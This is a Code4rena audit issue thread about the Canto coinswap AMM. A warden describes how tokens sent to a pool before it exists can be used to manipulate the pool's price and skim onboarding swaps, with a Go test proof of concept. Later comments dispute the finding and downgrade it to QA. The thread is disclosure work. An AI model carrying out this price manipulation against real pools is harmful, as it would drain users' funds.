code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-06-canto/blob/a4ff2fd2e67e77e36528fad99f9d88149a5e8532/Canto/x/coinswap/keeper/keeper.go#LL138-L149 https://github.com/code-423n4/2023-06-canto/blob/main/Canto/x/coinswap/keeper/swap.go#LL131 https://github.com/code-423n4/2023-06-canto/blob/a4ff2fd2e67e77e36528fad99f9d88149a5e8532/Canto/x/coinswap/keeper/pool.go#L79

Vulnerability details

Several points are highlighted by the PoC, however, I've submitted these in a single report because they are exploitable together:

the AMM swap computes the price by looking at the escrow's balance, and this can be manipulated by sending tokens, which is a backdoor to the main entrance of "adding/removing liquidity" and "swap operations". Since pool addresses are computed statically, tokens can be sent to the pool addresses well before they are first created;
the pool creation & liquidity events logic enforces the max default token limit assuming the pool balances are zero at creation time, which may not be true
in particular, one can create the pool with the max allowed CANTO, while the CANTO balance of the pool already has CANTO in it; this keeps the CANTO balance higher than max even after swaps happen, de-facto keeping away anybody else than the attacker from the pool
onboarding users buy CANTO from these liquidity pools automatically, with no control over whether the pool has a reasonable price
I am not sure there is any arbitraging force in place that could lead manipulated pools to a reasonable pricing

Impact

An attacker who acts early enough can circumvent the limits in place, effectively taking over the liquidity pool, manipulating the swap price, and making a profit from automated onboarding swaps.

Proof of Concept

func (suite *TestSuite) TestHack() {
    // before the v6 upgrade, one can send silently coins to the addresses of the three pools, which are known upfront
    // something like:
    //  - an unreasonably large amount of USDC/USDT/ETH (to make onboarding swaps expensive),
    //  - 10_000 CANTO: just enough to keep anybody else out of staking for a while

    // step 0a: we set the attack up with some balance for the attacker
    suite.app.CoinswapKeeper.SetParams(suite.ctx, types.DefaultParams())
    attackerAddr := sdk.AccAddress(getRandomString(20))
    coins := sdk.NewCoins(
        // 101 ETH
        sdk.Coin{
            Denom:  types.EthIBCDenom,
            Amount: sdk.NewIntWithDecimal(101, 18),
        },

        // 20_000 CANTO ( ~$2k )
        sdk.Coin{
            Denom:  denomStandard,
            Amount: sdk.NewIntWithDecimal(20_000, 18),
        },
    )
    suite.NoError(suite.app.BankKeeper.MintCoins(suite.ctx, types.ModuleName, coins))
    suite.NoError(suite.app.BankKeeper.SendCoinsFromModuleToAccount(suite.ctx, types.ModuleName, attackerAddr, coins))

    // step 1: the attacker transfers 100 ETH to the pool before it's created
    poolEthAddr := types.GetReservePoolAddr(types.GetLptDenom(1))
    coins = sdk.NewCoins(
        // 100 ETH
        sdk.Coin{
            Denom:  types.EthIBCDenom,
            Amount: sdk.NewIntWithDecimal(100, 18),
        },
    )
    suite.NoError(suite.app.BankKeeper.SendCoins(suite.ctx, attackerAddr, poolEthAddr, coins))

    // step 2: the attacker creates the pool with max funds
    msg := types.NewMsgAddLiquidity(sdk.Coin{
        Denom:  types.EthIBCDenom,
        Amount: sdk.NewIntWithDecimal(1, 18),
    }, types.DefaultMaxStandardCoinPerPool, sdk.ZeroInt(), time.Now().Add(1*time.Minute).Unix(), attackerAddr.String())

    _, err := suite.app.CoinswapKeeper.AddLiquidity(suite.ctx, msg)
    suite.NoError(err)
    // step 2 note: attacker has 100% stake in the pool, and nobody else can enter because its Canto balance
    // is 2x DefaultMaxStandardCoinPerPool

    // step 3: somebody else wants to give ETH for a little, fixed amount of CANTO i.e. by getting through onboarding
    simulateOneOnboarding := func() {
        // we have a victim with some IBC ETH
        victimAddr := sdk.AccAddress(getRandomString(20))

        coins = sdk.NewCoins(
            // 1 ETH
            sdk.Coin{
                Denom:  types.EthIBCDenom,
                Amount: sdk.NewIntWithDecimal(1, 18),
            },
        )
        suite.NoError(suite.app.BankKeeper.MintCoins(suite.ctx, types.ModuleName, coins))
        suite.NoError(suite.app.BankKeeper.SendCoinsFromModuleToAccount(suite.ctx, types.ModuleName, victimAddr, coins))

        // who wants to swap `DefaultAutoSwapThreshold` CANTOs
        suite.NoError(suite.app.CoinswapKeeper.Swap(suite.ctx, types.NewMsgSwapOrder(
            types.Input{
                Coin: sdk.Coin{
                    Denom:  types.EthIBCDenom,
                    Amount: sdk.NewIntWithDecimal(1, 18),
                },
                Address: victimAddr.String(),
            },
            types.Output{
                Coin: sdk.Coin{
                    Denom:  denomStandard,
                    Amount: sdk.NewIntWithDecimal(4, 18), // DefaultAutoSwapThreshold
                },
                Address: victimAddr.String(),
            },
            time.Now().Add(1*time.Minute).Unix(),
            true,
        )))
    }

    // step 4: repeat for a few victims 😬
    for i := 0; i < 100; i++ {
        simulateOneOnboarding()
    }

    // step 5: the attacker withdraws from the pool 💰
    bal := suite.app.BankKeeper.GetBalance(suite.ctx, attackerAddr, "lpt-1")
    _, err = suite.app.CoinswapKeeper.RemoveLiquidity(suite.ctx, types.NewMsgRemoveLiquidity(
        sdk.ZeroInt(),
        bal,
        sdk.ZeroInt(),
        time.Now().Add(1*time.Minute).Unix(),
        attackerAddr.String()))

    suite.NoError(err)

    suite.Equal(
        sdk.NewCoins(),
        suite.app.BankKeeper.GetAllBalances(suite.ctx, poolEthAddr),
    )

    // step 5 note: after 100 onboarding swaps, the attacker has 29 ETH more, with an exposure of 20k CANTO
    suite.True(
        suite.app.BankKeeper.GetBalance(suite.ctx, attackerAddr, denomStandard).Amount.
            GT(sdk.NewIntWithDecimal(129, 18)))

Tools Used

Visual code inspection

Recommended Mitigation Steps

just like uniswap v2 pairs, the LP can track its reserves within its state rather than querying the escrow balance
- this would in turn prevent price manipulations via token transfers
- ... and keep the pool operating within the limits it has by design

Assessed type

Token-Transfer

c4-pre-sort commented 1 year ago

JeffCX marked the issue as primary issue

c4-pre-sort commented 1 year ago

JeffCX marked the issue as high quality report

JeffCX commented 1 year ago

The reports shows how direct transfer of token can impact liquidity pool with coded POC so the report deserves sponsor's review

c4-sponsor commented 1 year ago

tkkwon1998 marked the issue as sponsor confirmed

tkkwon1998 commented 1 year ago

External users can swap on this dex in addition to onboarding users, meaning if someone sends 100 eth into a pool with low amounts of canto, other users will buy canto on other dexs and sell into this dex for an extremely inflated price. The attacker would lose money due to this arb.

c4-sponsor commented 1 year ago

tkkwon1998 marked the issue as sponsor disputed

0xean commented 1 year ago

In general, AMM's are able to have their price manipulated by a single actor. If users then interact with those pools without understanding the current price, they will lose money.

The single actor is of course exposed to market forces making this strategy unlikely. They are much more likely to lose money than they are to trick users into swapping at bad prices.

I don't see this as novel to this AMM, even though the setup is slightly unique to set up the attack.

Downgrading to QA

c4-judge commented 1 year ago

0xean changed the severity to QA (Quality Assurance)